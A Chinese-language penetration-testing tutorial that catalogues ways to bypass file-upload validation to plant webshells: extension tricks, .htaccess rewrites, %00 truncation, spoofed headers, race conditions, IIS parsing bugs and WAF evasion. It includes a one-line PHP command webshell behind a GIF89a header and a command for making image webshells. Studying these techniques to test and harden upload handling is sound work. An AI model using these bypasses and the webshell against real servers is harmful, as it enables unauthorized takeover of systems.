淺談權限獲取方法之文件上傳
概述
文件上傳漏洞是發生在有上傳功能的應用中,如果應用程序對用戶的上傳文件沒有控制或者存在缺陷,攻擊者可以利用應用上傳功能存在的缺陷,上傳木馬、病毒等有危害的文件到服務器上面,控制服務器。
漏洞成因及危害
文件上傳漏洞產生的主要原因是:應用中存在上傳功能,但是上傳的文件沒有經過嚴格的合法性檢驗或者檢驗函數存在缺陷,導致可以上傳木馬文件到服務器。文件上傳漏洞危害極大因為可以直接上傳惡意代碼到服務器上,可能會造成服務器的網頁篡改、網站被掛馬、服務器被遠程控制、被安裝后門等嚴重的后果。
下面我們就文件上傳的幾種驗證及繞過方法:
1.本地驗證(前端驗證)
前端JS過濾繞過上傳漏洞是因為應用程序是在前端通過JS代碼進行的驗證,而不是在程序后端進行的驗證,這樣就可以通過修改前端JS代碼的方式進行繞過上傳過濾,上傳木馬。
那么如何判斷是否為前端驗證呢?我個人覺得我們可以看在進行上傳抓包的時候是否能到數據包,是否有數據流過,或者可以看上傳圖片是否頁面會顯示上傳的圖片地址等。
繞過:將過濾代碼刪除,修改或禁用Javascript。
2.后端驗證及繞過
文件上傳常見驗證:后綴名(直接驗證),文件,文件頭(間接驗證)。
2.1 后綴名
2.1.1 黑名單(明確不允許上傳的腳本格式后綴)
文件名過濾繞過漏洞主要是因為通過黑名單的方式判斷了文件上傳的類型,而且并沒有完整的過濾,導致攻擊者通過上傳黑名單類型之外的文件。
黑名單判斷方法:上傳文件,系統提示不允許上傳xxx格式文件。
繞過:使用其他格式(php5,Phtml,php3)或者文件大小寫,同時也可以加一些干擾符號實現繞過。
2.1.2 .htaccess(偽靜態協議)-重寫解析(Apache才有并且開啟偽靜態模塊)
.htaccess文件上傳是利用.htaccess文件可以對Web服務器配置的功能,實現對jpg、png等后綴的文件當做PHP文件解析的過程。
.htaccess文件(分布式配置文件)提供了一種基于每個目錄進行配置更改的方法,包含一個或多個配置指令的文件放在特定的文檔目錄中,并且文件中的指令適用于該目錄及其所有子目錄。.htaccess是Web服務器的一個配置文件,可以通過.htaccess文件實現Web服務器中的定義文件的解析方式、重定向等配置。
繞過方法:首先上傳1.htaccess文件。2.再上傳圖片馬。
2.1.3 空格繞過
繞過方法:數據包中文件后綴名后加一個空格實現繞過。
2.1.4 .繞過
繞過方法:跟空格繞過方法類似,數據包中文件后綴名后加一個.實現繞過。
2.1.5 ::$data繞過
這是windows特有的一種協議,在window的時候如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名,且保持::$DATA之前的文件名,他的目的就是不檢查后綴名。
2.1.6 循環過濾
繞過:代碼將字符串里的php替換為空。
如:a.pphphp 會變成->a.
2.1.7 白名單:明確可以上傳的格式后綴(更安全)
%00截斷、0x00截斷(建立在地址上的原理,截斷文件后面數據 )00截斷繞過只能繞過前端驗證。
截斷的產生主要原因就是存在%00這個字符,PHP<5.3.4時,會把它當做結束符,導致后面的數據直接忽略,造成截斷,上傳時如果上傳文件的路徑可控,可以通過00截斷,進行木馬上傳。
繞過方法(path%00截斷):
- 將test改為test.php%00aaa,1.php改為1.jpg這樣可以通過驗證函數。
- test.php%00aaa中的%00進行URL編碼,選中%00選擇【Convertselection】命令,選擇【URL】命令,選擇【URL-decode】命令進行編碼。
3.文件類型驗證
3.1 文件頭檢測:文件頭內容信息(如gif89a)
不同的文件都有特定的文件頭格式,開發者通過檢查上傳文件的文件頭檢測文件類型,但是這種檢測方式同樣可以被繞過,只要在木馬文件的頭部添加對應的文件頭,這樣既可以繞過檢測又不影響木馬文件的正常運行。
常見的文件頭如下:
JPEG 0xFFD8FF
PNG0 x89504E470D0A1A0A
GIF 47 49 4638 39 61(GIF89a)
繞過方法:
- 更改頭部信息達到欺騙,如在木馬的頭文件中添加圖片文件的文件頭即可繞過檢測。
GIF89a
<?php echo`$_REQUEST[cmd]`;
?>
- 制作圖片馬
直接在圖片中插入一句話木馬,進行上傳。———利用文件包含原理。
使用cmd命令將一張正常圖片 1.jpg 與一個包含一句話木馬的 a.txt文件,合成一個新的test.php木馬文件。
cmd命令: copy 1.jpg/b+a.txt test.php。
3.2 Content-Type檢測
Content-Type用于定義網絡文件的類型和網頁的編碼,用來告訴文件接收方將以什么形式、什么編碼讀取這個文件。不同的文件都會對應的不同的Content-Type,比如jpg文件的Content-Type為image/jpeg,php文件的Content-Type為application/octet-stream。Content-Type是在數據包的請求包頭中,開發者會通Content-Type的類型判斷文件是否允許上傳。
繞過:Content-Type的類型可以通過抓包篡改,這樣就可以通過抓包修改數據包的Content-Type來繞過Content-Type判斷。
MIME:可以通過判斷類型猜測文件后綴名,利用抓包工具將Content-Type進行篡改,如改為image/pjpeg、image/jpeg、image/gif、image/png四個中的一個即可繞過過濾。
4. 內容及其他
4.1 邏輯安全:條件競爭(相當于系統占用)
定義:競爭條件是指多個線程在沒有進行鎖操作或者同步操作同時訪問同一個共享代碼、變量、文件等,運行的結果依賴于不同線程訪問數據的順序。先將文件上傳到服務器,服務器按照規則對圖片選擇保存與刪除,漏洞點在于文件在保存到服務器之前并沒有進行合法性的檢查,雖然保存后進行了文件的檢查,但是通過競爭條件漏洞,通過上傳有寫文件功能的木馬,在刪除木馬之前訪問已經上傳的木馬,就可以寫入新的木馬。
繞過:將文件上傳到服務器后,我們就不斷進行文件路徑訪問,由于條件競爭,就會達到上傳Webshell的目的,漏洞利用就是發送請求通過不斷上傳內容,這樣的訪問會生成新的木馬文件,然后再發送另一個請求不斷訪問此文件,如果競爭條件漏洞利用成功就會生成新的木馬。
4.2 目錄命名
繞過:通過添加/.后綴讓服務器識別文件為文件夾形式,達到上傳的目的,如 -x.php/.
5.其他漏洞
腳本函數漏洞-cve
CVE-2017-12615
CVE-2015-5254
CVE-2019-2618
......
這些漏洞網上都有利用教程,感興趣的師傅可以去查閱一下資料。
6.中間件解析漏洞
6.1 IIS 6.0+解析漏洞
解析漏洞快速判斷,/.php看是否有亂碼,有則存在,無則不存在。
6.1.1 以文件夾執行
正常文件名:image/aa.jpg。
繞過:image.asp/aa.jpg aa.jpg就會被當作asp解析。
6.1.2 以文件執行
正常文件名:image.jpg。
繞過:image.asp;.jpg或xxx.asp;xxx.jpg 此文件會被當作asp執行。
asp可以換做php 如果換了php,那么就可以當作php執行。
7.WAF繞過
要想繞過WAF,我們需要了解哪些參數可以修改,如:
- Content-Disposition:一般可修改。
- name:表單參數值,不能修改。
- filename:文件名,可以修改。
- Content-Type(文件自帶類型):文件MIME,視情況更改。
- waf繞過的核心就是在可以修改的參數名后不斷修改測試,嘗試繞過。
常見繞過方法:
7.1 數據溢出(垃圾數據填充)
利用WAF檢測上限,添加大量垃圾數據,讓其匹配不到,類似于溢出漏洞,一般可在上傳參數后面添加干擾數據,垃圾數據和參數之間要記得添加;,否則數據包會報錯。
7.2 符號變異('";)
利用程序開發漏洞,對數據包中上傳參數中的符號進行替換,添加、刪除,達到上傳目的。如
如x.jpg;.php 分號代表一個數據的結束。
7.3數據截斷(%00;換行)
文件后綴名后加個%00(空格)截斷,x.php%00.jpg 。
換行(類似于程序中\n)和數據分塊傳輸差不多,如:
- x
- p
- h
- p
數據包其實識別的是x.\np\nh\np。
7.4 重復數據
相當于函數中的遞歸 循環,將參數在數據包中寫多次原理跟垃圾數據也十分類似。
8.防御
- 部署寶塔,waf等安全產品。
- 對上傳的內容進行嚴格多次校驗。
- 對文件內容進行完整性檢測。